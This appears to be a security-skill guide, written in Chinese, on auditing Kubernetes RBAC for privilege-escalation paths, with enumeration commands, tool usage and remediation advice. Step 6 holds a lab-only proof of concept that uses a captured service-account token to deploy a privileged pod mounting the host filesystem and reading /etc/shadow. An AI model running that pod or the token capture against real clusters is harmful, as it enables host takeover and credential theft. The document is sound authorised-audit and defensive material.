auditing-kubernetes-rbac-privilege-escalation

审计 Kubernetes RBAC 权限提升

法律声明： 本技能仅用于获得授权的安全测试和教育目的。枚举和利用 RBAC 权限会影响在线集群的访问态势。仅测试你拥有的、或已获得明确书面授权进行评估的集群。

概述

Kubernetes 基于角色的访问控制（RBAC，MITRE ATT&CK T1078 有效账户）通过由 RoleBinding/ClusterRoleBinding 绑定的 Role/ClusterRole 规则，规定每个用户和服务账户可以执行哪些操作。由于工作负载默认以挂载的服务账户令牌运行，攻击者一旦攻陷某个 pod，就会继承该账户的 RBAC 权限。权限过宽的绑定会把单个被攻陷的 pod 变成整个集群的接管：某些动词和资源“在 RBAC 上等同于 cluster-admin”。

根据 Kubernetes “RBAC 最佳实践”指南和 Unit 42 的研究，危险的原语包括：

• 对 roles 的 escalate —— 给自己授予任意权限，即使是自己并不拥有的权限。
• 对 clusterroles 的 bind —— 创建到 cluster-admin 的绑定。
• 对 users/groups/serviceaccounts 的 impersonate —— 冒充任意主体，包括 system:masters。
• 对 pods 的 create/update/patch —— 调度特权 pod 或挂载节点，逃逸到宿主机（T1611）。
• 对 pods/exec、pods/attach、pods/ephemeralcontainers 的 create —— 在任意现有 pod 中运行代码。
• 对 secrets 的 get/list/watch —— list 会返回完整的 secret 内容，包括其他服务账户令牌。
• 对 serviceaccounts/token 的 create —— 为权限更高的账户铸造令牌。
• 对 validatingwebhookconfigurations/mutatingwebhookconfigurations、nodes/proxy、certificatesigningrequests/approval 的 update/patch —— 通过准入/CSR 滥用获取 cluster-admin 权限。
• 通配符（verbs: ["*"]、resources: ["*"]）—— 隐式超级权限。

本技能系统性地枚举每个主体的有效权限，梳理哪些主体持有这些提权原语，并产出修复证据。来源：Kubernetes RBAC 最佳实践；Unit 42 Kubernetes RBAC 研究。

何时使用

• 在获得授权的 Kubernetes 安全评估或集群渗透测试期间
• 在攻陷某个 pod 之后，确定其服务账户令牌可以触达哪些范围
• 在生产上线前审查 RBAC 漂移时
• 在平台迁移或 Helm 发布后验证最小权限时

前置条件

• 已针对目标集群配置好 kubectl（使用你自己的凭据，或捕获的服务账户令牌）
• 对 RBAC 对象的读取权限（大多数审计以 cluster-reader 或 admin 上下文运行）
• 审计工具：

  # rbac-police - find escalation paths (Cymulate)
  curl -L https://github.com/PaloAltoNetworks/rbac-police/releases/latest/download/rbac-police-linux-amd64 -o rbac-police
  chmod +x rbac-police
  
  # kubectl-who-can - which subjects can perform an action (Aqua)
  kubectl krew install who-can
  
  # rakkess - access matrix of resources x verbs for the current/another subject
  kubectl krew install access-matrix
  
  # rbac-lookup - which roles a subject has (FairwindsOps)
  kubectl krew install rbac-lookup
  

目标

• 清点所有 Role、ClusterRole、RoleBinding 和 ClusterRoleBinding 对象
• 使用 kubectl auth can-i --as 枚举每个主体的有效权限
• 识别持有“RBAC 上等同于 admin”原语的主体
• 追踪挂载令牌的 pod 与权限过高的服务账户之间的关联
• （在实验环境中）端到端演示一条提权路径
• 输出按优先级排序的发现报告，并给出最小权限修复建议

MITRE ATT&CK 映射

技术 ID	名称	战术
T1078	有效账户	防御规避 / 持久化 / 权限提升
T1098	账户操纵	持久化
T1528	窃取应用程序访问令牌	凭证访问
T1613	容器与资源发现	发现
T1611	逃逸到宿主机	权限提升

工作流

第 1 步：清点 RBAC 对象

# All roles and bindings, cluster-wide
kubectl get clusterroles,clusterrolebindings -o wide
kubectl get roles,rolebindings --all-namespaces -o wide

# Dump full RBAC for offline analysis
kubectl get clusterroles,clusterrolebindings,roles,rolebindings \
  --all-namespaces -o yaml > rbac-dump.yaml

# Who is bound to cluster-admin?
kubectl get clusterrolebindings -o json | \
  jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
         .metadata.name + " -> " + (.subjects // [] | map(.kind+"/"+.name) | join(","))'

第 2 步：枚举每个主体的有效权限

kubectl auth can-i 是权威检查，因为它会评估实时的授权器（RBAC + webhook）。使用 --as 冒充某个主体（需要审计身份具备 impersonate 权限）。

# Full access matrix for a service account
kubectl auth can-i --list \
  --as=system:serviceaccount:default:default

# Targeted dangerous-permission probes
kubectl auth can-i create pods --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i get secrets --all-namespaces \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i create serviceaccounts/token -n kube-system \
  --as=system:serviceaccount:dev:builder
kubectl auth can-i '*' '*' --all-namespaces \
  --as=system:serviceaccount:dev:builder

# rakkess full verb x resource matrix for a subject
kubectl access-matrix --as system:serviceaccount:dev:builder

第 3 步：搜寻提权原语

# Who can perform each dangerous action across the cluster?
kubectl who-can create pods
kubectl who-can '*' '*'                      # wildcard god-mode holders
kubectl who-can get secrets
kubectl who-can list secrets
kubectl who-can create pods/exec
kubectl who-can impersonate users
kubectl who-can create serviceaccounts/token
kubectl who-can update clusterrolebindings   # bind-style escalation

# grep the raw dump for escalate/bind/impersonate verbs and wildcards
grep -nE 'escalate|impersonate|"\*"|- bind' rbac-dump.yaml

步骤 4：使用 rbac-police 运行自动化提权路径分析

rbac-police 会在集群快照上评估 Rego 策略，从而找出可提权至 cluster-admin 的主体及其确切路径。

# Run all built-in escalation checks (needs a kubeconfig with read access)
./rbac-police eval ./lib/policies/

# Only the privilege-escalation policy, severe findings as JSON
./rbac-police eval ./lib/policies/can_escalate.rego -f json -o findings.json

# Collect a snapshot first (offline analysis / air-gapped review)
./rbac-police collect -o cluster-snapshot.json
./rbac-police eval ./lib/policies/ --collect-results cluster-snapshot.json

步骤 5：将 Pod 追溯到过度授权的服务账号

只有当某个可触及的工作负载挂载了该令牌时，问题才有意义。

# Map every pod to its service account
kubectl get pods --all-namespaces \
  -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,SA:.spec.serviceAccountName'

# Find pods that auto-mount tokens (the default) tied to risky SAs
kubectl get pods --all-namespaces -o json | jq -r '
  .items[] | select(.spec.automountServiceAccountToken != false) |
  "\(.metadata.namespace)/\(.metadata.name) -> \(.spec.serviceAccountName // "default")"'

# rbac-lookup: what does that service account actually hold?
kubectl rbac-lookup builder --kind serviceaccount

步骤 6：演示一条提权路径（仅限实验环境）

示例：一个拥有 create pods 权限且可访问某节点的服务账号，能够调度一个挂载主机文件系统的特权 Pod。

# Using a captured token, target the API server directly
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc

# Confirm the dangerous right
kubectl --token="$TOKEN" --server="$APISERVER" --insecure-skip-tls-verify \
  auth can-i create pods

# Schedule a privileged host-mounting pod (proves node/host takeover)
cat <<'EOF' | kubectl --token="$TOKEN" --server="$APISERVER" \
  --insecure-skip-tls-verify apply -f -
apiVersion: v1
kind: Pod
metadata: {name: escalate-poc, namespace: default}
spec:
  containers:
  - name: x
    image: alpine
    command: ["/bin/sh","-c","cat /host/etc/shadow; sleep 1d"]
    securityContext: {privileged: true}
    volumeMounts: [{name: host, mountPath: /host}]
  volumes: [{name: host, hostPath: {path: /}}]
EOF
kubectl logs escalate-poc   # host /etc/shadow proves escalation

步骤 7：报告与修复

# Generate a least-privilege-violation summary
kubectl get clusterrolebindings -o json | jq -r '
  .items[] | select(.roleRef.name=="cluster-admin") |
  "FINDING cluster-admin bound to: " +
  ((.subjects // []) | map(.kind+":"+.name) | join(", "))'

修复：用明确的动词/资源替换通配符；除非确有需要，移除 escalate/bind/impersonate；对不调用 API 的工作负载设置 automountServiceAccountToken: false；尽可能优先使用 Role（命名空间级）而非 ClusterRole；谨慎使用 aggregationRule。

工具与资源

工具	用途	来源
kubectl auth can-i	权威的实时权限检查（--list、--as）	https://kubernetes.io/docs/reference/access-authn-authz/authorization/
rbac-police	基于 Rego 的提权路径分析	https://github.com/PaloAltoNetworks/rbac-police
kubectl-who-can	反向查询：谁能执行 X	https://github.com/aquasecurity/kubectl-who-can
rakkess (access-matrix)	按主体展示动词 × 资源矩阵	https://github.com/corneliusweig/rakkess
rbac-lookup	某主体持有的角色	https://github.com/FairwindsOps/rbac-lookup
Kubernetes RBAC Good Practices	权威的提权原语清单	https://kubernetes.io/docs/concepts/security/rbac-good-practices/

危险 RBAC 原语参考

动词 / 资源	为何等同于 cluster-admin
对 roles 的 escalate	为自己授予任意权限
对 clusterroles 的 bind	将自己绑定到 cluster-admin
impersonate users/groups	以 system:masters 身份行事
create pods（+ 节点访问）	特权/hostPath Pod -> 接管主机
create pods/exec、pods/attach	在现有 Pod 中运行代码
get/list secrets	读取所有令牌与凭据
create serviceaccounts/token	铸造特权令牌
*/*（通配符）	隐式超级权限

验证标准

• 所有 Role/ClusterRole/Binding 对象均已盘点并导出
• 已枚举 cluster-admin 主体清单
• 已通过 auth can-i --list 枚举每个服务账号的有效权限
• 已识别所有危险原语持有者（escalate/bind/impersonate/secrets/pods）
• 已审查 rbac-police 提权路径
• 已将有令牌挂载的 Pod 映射到有风险的服务账号
• 已在实验环境中演示至少一条提权路径
• 已产出包含最小权限修复建议的发现报告
• 所有测试均保持在授权范围内